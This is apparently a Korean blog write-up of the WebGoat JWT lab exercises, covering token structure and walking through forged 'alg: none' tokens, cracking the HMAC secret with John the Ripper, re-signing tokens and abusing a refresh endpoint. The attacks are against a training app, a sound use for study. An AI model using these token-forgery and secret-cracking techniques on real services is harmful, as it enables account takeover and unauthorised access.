Web

[WebGoat]Authentication Flaws: JWT tokens

WebGoat
Author
gleaming
Date
2022-02-09 07:50
Views
351

JWT


1. Concept / Goals / Introduction


JWT(JSON Web Token)을 사용하는 방법과 일반적인 함정에 대해 알아보자!

Goals : 토큰을 안전하게 구현하고 검증하는 방법에 대해 알아본다.

많은 어플리케이션에서 클라이언트를 인증한 뒤, 추가 작업을 하기 위해서 JWT로 인증하곤 한다.

https://jwt.io/introduction에서 JWT에 대해 자세히 소개하고 있다.

설명 요약

  • JWT는 공개 표준(RFC 7519), 컴팩트하고 독립적으로 클라이언트의 신원 정보 전달하는 데 사용된다. (마치 신분증처럼!)
  • 디지털 서명이 포함되어 있어서 신뢰할 수 있다.
    서명 시에는 비밀키(HMAC 알고리즘 사용?) or RSA를 통한 대칭키를 이용할 수 있다.
    HMAC : Hash-based Message Authentication Code
  • 계정 인증에 성공하면 토큰이 생성되고, 작업 전에 매번 서버가 검증한다.
  • 서버는 stateless, portable하며 토큰의 유효성과 무결성을 검증한다.
    stateless : 비보존형, 별도의 기록을 통해 클라이언트의 접속 상태를 확인
    portable : 클라이언트와 서버 상호 간 서로 다른 기술을 사용



2. Structure of a JWT token


fnPf3ZTOwIWAAAAbo5fEQIAACSMgAUAAJAokf8P8qC01jCTbN8AAAAASUVORK5CYII=

B9xBd3d3Xb69Gnr7Oy0wcFB+5RNhBBCCCHuKBhugV6BJK+TYzU9FDidTxVXQgghhBDiejD7Xwcflu7RHFLXAAAAAElFTkSuQmCC

JWT의 구조는 위와 같다.

토큰은 base64로 인코딩되어서 전송된다. (사진은 base64 인코딩 전 -> 후)

  • Header : 토큰 정보(사용된 알고리즘 등)
  • Claims(payload) : 사용자 정보(서버에 필요한 다양한 정보를 json 형태로)
  • Signature : 디지털 서명(뭔가로 인코딩되어 저장되는 듯,,?!)

각 영역은 '.'로 구분이 된다! 👉header.claims.signature



3. Authentication and getting a JWT


jATff5PC5ct8f8QXlHClJxoMUJV1QJdFQOxvrcBhh2d00ZK8Ez5s7tyxbtjTvLpIkmZC0+0GcSF+YJCdLipJRRnV6NfjwkSNVmKQoSZIkSZKRkaJkFFGV7ibaVZp3F0mSJEkyMlKUJEmSJEnSE+STS0mSJEmS9AQpSpIkSZIk6QlSlCRJkiRJ0hOkKEmSJEmSpAco5f8HxR+kIDW5agEAAAAASUVORK5CYII=

토큰을 획득하는 과정은 위와 같다.

  1. username, password로 로그인
  2. 암호키로 JWT 생성
  3. 브라우저에 JWT 전송
  4. Authorization 헤더에서 JWT 보내기
  5. JWT의 시그니처 확인, JWT에서 사용자 정보 획득
  6. response 전송


Claims(Payload)

토큰은 서버에 사용자 신원과 필요한 정보를 전달하기 위해 페이로드를 포함한다.

따라서 토큰에 민감한 데이터를 저장하지 않도록 주의하고, 전송할 때는 안전한 채널을 이용하도록 주의한다.



4. JWT signing


JWT는 클라이언트에게 전송되기 전에 (서버에서) 서명되어야 한다. (서명되지 않으면 클라이언트에서 토큰이 변조될 수 있음!)

아래 링크도 첨부되어 있었는데, 세계 표준 문서라 매우 자세하게 나와있다. 읽기 어렵다 X(

기본적으로 "SHA-2를 사용하는 HMAC" or "RSASSA-PKCS1-v1_5/ECDSA/RSASSA-PSS를 사용하는 디지털 서명"이 사용된다.

중요한 것은, 작업을 수행하기 전에 시그니처를 검증하는 것이다. (위에 있었던 토큰 획득 5번째 단계)


Assignment

서버로부터 할당받은 토큰을 변조하고, admin이 되어 투표 현황을 초기화 해라.

wehx2gNlat7ZgAAAABJRU5ErkJggg==


우선 사용자가 Guest인 경우에는 위에 사진처럼 나오고, 'Vote Now!'를 누르면 로그인하라고 뜬다.

사용자는 버튼을 통해서 Tom, Jerry, Sylvester로 변경할 수 있었는데, 변경하면 아래처럼 투표 수 등의 정보가 나왔다.

투표는 횟수와 상관없이 투표하는 대로 숫자가 올라갔다.

BLp+h9Rsz4ljq+CcaxSwAmIiLqTbaX4lBtANKGuwfCm4aHwVVbiS3bzRXdzJU8EMvMeeopwP8PWjVT8kXiYWUAAAAASUVORK5CYII=


일단 문제에서 토큰을 변조하라고 했으니까 토큰을 찾아봤다.

오른쪽 상단에 휴지통 버튼(Reset votes)이 리셋 버튼이길래 이걸 눌러 request를 확인해봤더니, 쿠키에서 access_token이 보였다.

sG+DqM0xDGgAAAABJRU5ErkJggg==

일단 읽을 수 없게 되어있지만 '.'이 있는 걸로 보아 JWT인 것을 예상할 수 있고, base64로 디코딩 해봤다.

base64 온라인 디코더 : https://www.base64decode.org/

{"alg":"HS512"}{"iat":1645258670,"admin":"true","user":"Tom"}==}ܦƕn3;W֠ҥt 6b|2ZppT_CT`

signature는 깨져보였지만 얼추 header.payload.signature로 나뉘어보였다.

일단 payload 부분에서 "user":"admin"으로 바꿔서 보내보려고 했다.

변경 전 토큰

eyJhbGciOiJIUzUxMiJ9eyJpYXQiOjE2NDUyNTg2NzAsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifT0.9A33R-dymrJHGlRAIAZuUbjOq0dnDO1fWoNKljhd0qQgJNmJ8DzJaf5rTcO3ncNtUtRNfQ_LoAbBUmhVgDgYaQ

변경 후 토큰 (signature 부분은 그대로)

eyJhbGciOiJIUzUxMiJ9eyJpYXQiOjE2NDUyNTg2NzAsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJhZG1pbiJ9PT0.9A33R-dymrJHGlRAIAZuUbjOq0dnDO1fWoNKljhd0qQgJNmJ8DzJaf5rTcO3ncNtUtRNfQ_LoAbBUmhVgDgYaQ

vt6kEcZEEIIYQQEuLQbti+igMfCjxCCCGEXBCMXxQebDJwocAjhBBCCBlgUOARQgghhAwwKPAIIYQQQgYYFHiEEEIIIQMK4P8D63TzgpsyM1sAAAAASUVORK5CYII=

Not a valid JWT token, please try again

io.jsonwebtoken.MalformedJwtException: JWT strings must contain exactly 2 period characters. Found: 1

유효한 JWT 토큰이 아니라고 한다. 이 방법이 아닌가?


솔루션을 보면서 알았는데, burp suite에는 decoder기능을 제공하고 있다,,!

이걸 활용해서 쉽게 풀 수 있었다.

일단 다시 시도!

변경 전 토큰

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2NDUyNTg2NzAsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.9A33R-dymrJHGlRAIAZuUbjOq0dnDO1fWoNKljhd0qQgJNmJ8DzJaf5rTcO3ncNtUtRNfQ_LoAbBUmhVgDgYaQ

quFbTwEAAIDlLOtbT9WR996Tg5WKvPPjH1MNFSuaVjfVkkQNEk859VTbtSY1UAQAAAAArD5UPQUAAAAAOET+fwD37kqX5gfbAAAAAElFTkSuQmCC

+) 보통 base64로 인코딩하게 되면 맨 뒤에 '=='이 붙는다.
그런데 여기는 'ln0'가 붙은 것을 보아 제대로 디코딩이 안됐다는 것을 추측할 수 있다.

일단 'ln0='처럼 등호를 하나 붙여줬더니 페이로드까지 디코딩이 깔끔하게 됐다.

LXdPToUX18UOCJXbvk8s5O2wcAAAAsLY9NTMilV15p+9JR9kWjip4n1BgCAAAAQIMjMAQAAACABkdgCAAAgIa1atUqOXz4sO0DGoPmec37LgJDAAAANKzTzzhDXnj+edsHNAbN85r3XQSGAAAAaFjrCwV5dt8+2fetb8kRag6xzGke17yueV7zviv2qaQAAADAUpb1qaTq8KFDsrdUkpdefJFmpVjWtPmo1hRqULjqlFPs0LKqwBAAAAAA0FhoSgoAAAAADY7AEAAAAAAaHIEhAAAAADQ4AkMAAAAAaHAEhgAAAADQ0ET+fzSR4LyBDn4OAAAAAElFTkSuQmCC


내가 생각하지 못한 부분은 시그니처 부분이었는데, 나는 단순히 기존의 것을 복붙하면 된다고 생각했는데, 그게 아니었다.

본문의 내용을 바꿨다면 또 다른 서명이 필요하다. 이 서명은 암호키가 필요하고 이는 서버만 알기 때문에 현재 나로서는 어떻게 할 수 없다.

따라서 이 부분은 아까 위에서 알려준 알고리즘에 관한 세계 표준 문서(https://datatracker.ietf.org/doc/html/rfc7518)를 참고해서 수정해야 한다.

w+Elb8xli0GjgAAAABJRU5ErkJggg==

3.1 부분을 보면 헤더에서 사용할 수 있는 알고리즘들이 나와있는데, 이 중에 none을 해보면 어떨까?하는 생각!
(물론 이 부분은 서버측에서 보안 정책을 사용한다면 수정해도 안된다.)


그래서 none & admin으로 바꿔주고 헤더와 페이로드 하나씩 인코딩을 해주었다.

{"alg":"none"} 👉 eyJhbGciOiJub25lIn0=
{"iat":1645258670,"admin":"true","user":"admin"} 👉 eyJpYXQiOjE2NDUyNTg2NzAsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJhZG1pbiJ9

이렇게 각각 인코딩을 한 뒤에, JWT의 형식에 맞춰 '.'을 넣어주고, 한 줄로 이어주면 아래와 같다.

변경 후 토큰

eyJhbGciOiJub25lIn0=.eyJpYXQiOjE2NDUyNTg2NzAsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJhZG1pbiJ9.


그대로 붙여서 넣어주면 성공! 모든 투표가 1개로 변한다.

wHx+UMlpgmWAQAAAABJRU5ErkJggg==

어려운데,, 배우니까 재미있다



5. JWT cracking


f8BQmS45HUgkn0AAAAASUVORK5CYII=


일단 뭐라도 써서 보내봤다. (111.111.111)

그랬더니 그냥 단순히 token=111.111.111 하고 보내졌다.


주어진 토큰

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM

base64로 디코딩

{"alg":"HS256","typ":"JWT"}.{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"tom@webgoat.com","username":"Tom","Email":"tom@webgoat.com","Role":["Manager","Project Administrator"]}.vPe-©Î·¿3+Ì+lÝSÒcÜ·õܪ(ÛtTJgM

일단 앞에서 언급된 것처럼 HS256(HMAC using SHA-256)으로 암호키가 만들어졌나보다.

일단 암호키를 찾으라고 했는데, 역시나 디코딩이 예쁘게 안됐고,, 알고리즘을 봐야하나?


여기부터 툴 이용!

첫 번째 시도


두 번째 시도 (jwt2jtr.py, john the ripper, makeSigOfJWT.py)

$ python jwt2jtr.py [주어진 토큰]

vSS1JtZ4zv0AAAAASUVORK5CYII=

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19#bcf7bea903ceb7bf332bcc2b6cdd538cd263dcb797f506dc87aa28db74542603


$ .\run\john.exe token.txt

$ .\run\john.exe token.txt --show

6jH2MMQIA0JJk0NtHzWQMHBrPUwAAjs+otzcQSOAh4HkKAMDxmf1flgEAAABzI+gFAABA8wh6AQAA0DyCXgAAADSPoBcAAADNI+gFAABA8wh6AQAA0LjV6i8rgE2PoSBb2AAAAABJRU5ErkJggg==

여기서 나온 victory가 바로 비밀키!


토큰 decode(burp suite 이용)

{"alg":"HS256","typ":"JWT"} 👉 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

{"iss":"WebGoat Token Builder","iat":1524210904,"exp":1618905304,"aud":"webgoat.org","sub":"tom@webgoat.com","username":"WebGoat","Email":"tom@webgoat.com","Role":["Manager","Project Administrator"]} 👉 eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ==

header.payload 👉 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ==


$ python makeSigOfJWT.py [header.payload] [secretkey]

gIAAADu3bQDMAAAAAAAR3aovwMMAAAAAMBaOAADAAAAAO4CB2AAAAAAwB24XP4HyDRjv3OySTMAAAAASUVORK5CYII=

5a_abHfAcy09gcD2p4RkkTc34m_yyYTJ0mI6DVx4eac


👉 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IldlYkdvYXQiLCJFbWFpbCI6InRvbUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiTWFuYWdlciIsIlByb2plY3QgQWRtaW5pc3RyYXRvciJdfQ==.5a_abHfAcy09gcD2p4RkkTc34m_yyYTJ0mI6DVx4eac

+YFZ+R0z+bmMPFFmKSTOAAAAAADA5ICFYwAAAAAAJQLiDAAAAACgNBD9f1+p08y4FyrnAAAAAElFTkSuQmCC



세 번째 시도 

일단 앞에서 무슨 시간때문에 오류난 것 같아서 "exp" 값을 25593601124랑 비슷하게 해줬다.

https://jwt.io/

주어진 코드 붙여 넣고, username Tom에서 WebGoat로 바꿔주고, 비밀키에 victory 입력 + exp 1618905304에서 26618905304로 변경

755tGysgJAACQF0wjBQDgyjLUNFKSEwAAAAAAIK+Y1gEAAAAAAPKK5AQAAAAAAMgj6f8DxcU2vEFyPn4AAAAASUVORK5CYII=

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MjY2MTg5MDUzMDQsImF1ZCI6IndlYmdvYXQub3JnIiwic3ViIjoidG9tQHdlYmdvYXQuY29tIiwidXNlcm5hbWUiOiJXZWJHb2F0IiwiRW1haWwiOiJ0b21Ad2ViZ29hdC5jb20iLCJSb2xlIjpbIk1hbmFnZXIiLCJQcm9qZWN0IEFkbWluaXN0cmF0b3IiXX0.ODeF3_wmNBAJIUJGrHAX_xhEfdR35RwIZZPlKcoxHwM


👉 위에꺼 그대로 제출

TvufnkRZZ5AAAAABJRU5ErkJggg==

6. Refreshing a token


JWT는 일반적으로 access token, refresh token 이렇게 두 종류가 있다.

  • access token : 서버 측에 API를 호출할 때 사용됨. 수명 존재. 수명이 다하면 토큰은 유효하지 않음.
  • refresh token : access token이 유효하지 않을 때, 서버 측에 refresh token을 보내어 새로운 access token을 받음.
  • access token의 수명이 다했다면, 서버에 refresh token을 제출해서 토큰이 막히지 않게(계정 사용이 멈추지 않도록) 해야 한다.

ex. 로그인 후 이루어지는 모든 활동은 access token이 사용된다. access token은 수명이 있는데, 만약 수명이 다하게 되면 서버에 refresh token을 제출하여 새로운 access token을 받는다(refresh token도 새로 받음!). 이렇게 되면 사용자는 다시 로그인을 하지 않아도 된다.

일반적인 방식을 살펴보자!

서버에 POST 형식으로 메세지를 보냈을 때, 아래처럼 응답했다고 해보자.

curl -X POST -H -d 'username=webgoat&password=webgoat' localhost:8080/WebGoat/login
{
"token_type":"bearer",
"access_token":"XXXX.YYYY.ZZZZ",
"expires_in":10,
"refresh_token":"4a9a0b1eac1a34201b3c5659944e8b7"
}

(expires_in: 10은 10분 동안 access token이 유효하다는 말인 듯?)

내용을 보면, refresh token은 랜덤한 문자열이며, 서버는 이를 메모리나 DB에 저장해서 어떤 사용자의 것인지 확인할 수 있다.

이 경우에, access token이 유효할 때는 토큰을 따로 저장하지 않기 때문에 비보존(stateless) 방식으로 동작하는 장점이 있다. 이는 사용자의 세션을 설정하기 위한 서버의 부담이 없는 독립적인(self contained) 형태이기 때문이다. ?

어쨌든 refresh token를 더 안전하게 보호해야 한다. 보통 두 토큰은 서로 다른 서버에서 저장/소멸된다.

특정 사용자를 신뢰할 수 있는지 검증하기 위해서, JWT를 사용하는 것 외에도 IP주소를 저장하거나 refresh token의 사용 횟수, 위치 정보를 저장하여 확인할 수 있다.

서버와 서버간의 통신에서는 JWT가 좋지만, 서버와 클라이언트간의 통신에서는 기존 방식인 세션쿠키를 사용하는 것이 더 적합한 선택이라고 한다.

  • stop-using-jwt-for-sessions : http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/
  • stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work : http://cryto.net/~joepie91/blog/2016/06/19/stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work/
  • flowchart : http://cryto.net/~joepie91/blog/attachments/jwt-flowchart.png



7. Refreshing a token


zCJ3gvJ5ylgAAAABJRU5ErkJggg==

어떤 도서를 구매하려고 할 때, Tom이 지불하도록 만들어보자!

로그 내용 : http://127.0.0.1:8080/WebGoat/images/logs.txt

194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"

194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"

194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-"

195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"


일단 버튼을 다 눌러봤을 때 뭔가 바뀌는 건 없다.

숫자를 늘려보면 가격은 잘 바뀐다.

뭘까 싶어서 burp suite를 확인했는데, 버튼 중에 Checkout만 POST 형식의 응답이 왔다. (나머지는 반응 없음)

WA7obzWgv6og+v8B3TjoYqCDPNIAAAAASUVORK5CYII=


일단 request에는 세션말고는 별 게 없었는데, response에는 엄청난 오류 문구가 나왔다. (이래서 반응이 없었나?)

H95c3aKS0dxFwAAAABJRU5ErkJggg==

 "message" : "Missing request header 'Authorization' for method parameter of type String",

헤더에 Authorization이 없어서 문제구나?

딱 여기까지만 진행됐다,,!


일단 저게 없다고 했으니까 넣어줬다. 그랬더니 반응이 잘 나왔다.

"Authorization: 123" 추가 후 반응

wfEzV3RQe67EgAAAABJRU5ErkJggg==


그럼 123 값에다가 JWT를 넣어주면 되려나? -> 반응은 있다! 아까 5번처럼 시간이 만료됐다고 떴음

2Z3dxKF9AlCAAAAAElFTkSuQmCC


그리고 아까 로그 내용을 보면, 총 5개의 내용이 있다.

맨 위에 토큰이 있길래 123을 지우고 넣어줬는데, 아예 반응이 없었다.

** 로그를 볼 때는 HTTP 반응이 200인 것을 잘 보자! 서버가 잘 응답한 거니까!!

pN2BkKnzNcsAAAAASUVORK5CYII=

2, 3번째 로그가 200으로 응답이 잘 왔는데, 경로가 달랐다.

내가 보냈던 request만 봐도 /JWT/refresh/checkout인데 저 둘은 /moveToCheckout, /login이었다.


경로 moveToCheckout으로 변경 후 반응 -> 404, 페이지 없음

4kAAAAASUVORK5CYII=


경로 login


그리고 일단 여기서 문제가 잘못됐다고 알려줬다.

https://github.com/WebGoat/WebGoat/blob/develop/webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java

AHnN6FLPAAAAAElFTkSuQmCC

코드를 보면, 65번째 줄부터 login 페이지가 존재한다는 걸 알았다.

그리고 그 아래를 읽어보면, user가 무조건 "Jerry"이고 pw도 맞으면 새로운 토큰을 얻게 된다. 문제에선 톰이라고 했는데,,


그래서 푸는 방법은

  1. 시간을 맞춘다. (컴퓨터 시간을 response의 내용과 맞춰주면 됨)
  2. 소스코드 보면서 따라가기


2번 풀이

일단 소스코드 따라서 가보자!

코드에서 Jerry와 pw를 잘 입력하면 새로운 토큰을 준다고 했으니까 입력해본다.

IrQnHcC4kAAAAAASUVORK5CYII=

access, refresh 토큰을 얻었다.

지금 해야하는 건, refresh 토큰을 서버에 보내서 새로운 토큰을 받아야 한다.

근데 지금 얻은 건 Jerry의 토큰이니까 당연히 안될 거라고 생각했는데(계정마다 서로 다른 refresh 토큰을 사용하겠지?), 얘는 너무 취약하다보니까 그냥 refresh 토큰을 보내면 응답이 왔다.

refresh_token은 /newToken 경로로 보내면 된다. 소스코드에 있다. 어떤 힌트도 없었는데,,

EceERERUfLx31lEREREycchLURERERERERERHFiMI2IiIiIiIiIiChODKYRERERERERERHFBfgf8vrSFeZYpmkAAAAASUVORK5CYII=

새로운 토큰을 얻었다.

이렇게 새롭게 받은 access 토큰을 Authorization에 넣어주면 된다.

ATYgAAAIgcQi4AAAAih5ALAACAiJH+H6dXRBP+hMTXAAAAAElFTkSuQmCC




8. Final challenges


vheN3EmO2iAAAAAElFTkSuQmCC

👉Tom의 계정으로 토큰을 지우자!


일단 총 3개의 버튼이 있는데, Delete 버튼은 응답이 오고, Follow 버튼은 아무런 동작을 하지 않았다.

Tom의 Delete 버튼을 수정해서 토큰을 지울 수 있을 것 같다.

kTlV1oiSYhPJw1tvjisAAAAAAADcn4j+H0R6Si2mEzyiAAAAAElFTkSuQmCC


일단 맨 위에 파라미터로 token이 주어졌다.

eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8

jwt.io에서 토큰을 decode 해봤다.

근데 이상하게, Tom의 버튼도 username: Jerry였다. 문제 오류인가? 어쨌든 Tom으로 바꿔준다.


첫 번째 시도

일단 저번 챌린지처럼 비밀키를 알아내고, username을 Tom으로 고쳐서 제출해보자!

$ python jwt2jtr.py [Tom으로 바꿔준 토큰]

wAAAAAElFTkSuQmCC

$ .\run\john.exe ch8_token.txt

GyPJFofsxhHynKXcWZo6WVw6riiPWOKSIiIjLrgz83JCIiIiKyRfe3wkVEREREKtpYioiIiMgS2liKiIiIyBLaWIqIiIjIEtpYioiIiMgC7979L76uRnQEJfUyAAAAAElFTkSuQmCC

약 34분동안 돌려봤는데, 아무런 반응이 없길래 ctrl+c를 눌렀다.

암호키를 못구하는 문제인가?


두 번째 시도

사실 맨 처음에 시도해야 했던 방법, 서명이 없는(알고리즘이 없는) 상태로 보내보기!

header

기존 토큰에서 맨 뒤에 '=' 추가 & alg: none으로 수정 (디코더에서 깨져보이길래 '=' 추가해줌!)

eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0=

payload

기존 토큰에서 맨 뒤에 '=' 추가 & username: Tom으로 수정

eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19

header.payload.eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0=.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19

header.payload. 그대로 제출했다. 뭔가 느낌이 좋았는데, 시간이 다르다고 나왔다.

H1mayAASSPpGAAAAAElFTkSuQmCC


이정도쯤이야 저번 챌린지에서 배웠다. exp값을 오류메세지와 비슷하게 바꿔주었다.

newpayloadeyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MjU3MTg5MDUzMDQsImF1ZCI6IndlYmdvYXQub3JnIiwic3ViIjoiamVycnlAd2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoiamVycnlAd2ViZ29hdC5jb20iLCJSb2xlIjpbIkNhdCJdfQ==
header.newpayload.eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6Im5vbmUifQ==.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MjU3MTg5MDUzMDQsImF1ZCI6IndlYmdvYXQub3JnIiwic3ViIjoiamVycnlAd2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoiamVycnlAd2ViZ29hdC5jb20iLCJSb2xlIjpbIkNhdCJdfQ==.

header.newpayload. 그대로 제출했더니, 성공했다!

A4GH1bEnfkLFAAAAAElFTkSuQmCC

왜 암호키가 안 찾아지나 했더니, 그냥 풀려서 그랬나?

첫 번째 시도에 '=' 붙여서 다시 해봤는데도 암호키는 못찾았다.